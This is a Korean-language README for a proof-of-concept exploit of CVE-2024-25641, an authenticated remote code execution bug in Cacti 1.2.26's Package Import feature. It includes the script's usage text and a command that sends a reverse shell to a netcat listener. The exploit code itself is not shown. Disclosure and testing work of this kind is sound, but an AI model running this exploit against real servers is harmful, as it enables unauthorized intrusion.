
# CVE-2024-25641 개념 증명 익스플로잇 Cacti 1.2.26의 Package Import 기능을 통한 인증된 원격 코드 실행(RCE) 취약점으로, 임의의 PHP 코드 실행 및 리버스 셸을 가능하게 합니다.
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
이 저장소는 Cacti 1.2.26 버전에 영향을 미치는 CVE-2024-25641 취약점의 POC(Proof of Concept)를 포함하고 있습니다. 이 취약점은 "Package Import" 기능을 통해 악용 가능하며, "Import Templates" 권한을 가진 인증된 사용자가 웹 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다. 취약점은 /lib/import.php 스크립트에 정의된 import_package() 함수 내에 위치합니다. 이 익스플로잇은 악성 플러그인이 업로드되면 트리거되는 PHP 리버스 셸을 사용합니다.
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]
CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE
options:
-h, --help show this help message and exit
--url URL URL of the Cacti web root
--user USER username to log in
--password PASSWORD password of the username
--lhost LHOST local host to receive the reverse shell
--lport LPORT local port to receive the reverse shell
--verbose enable verbose
netcat 리스너를 시작한 후 다음과 같이 익스플로잇을 실행하세요:
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>

https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
이 프로젝트는 MIT 라이선스를 따릅니다
Copyright © 2025, D3Ext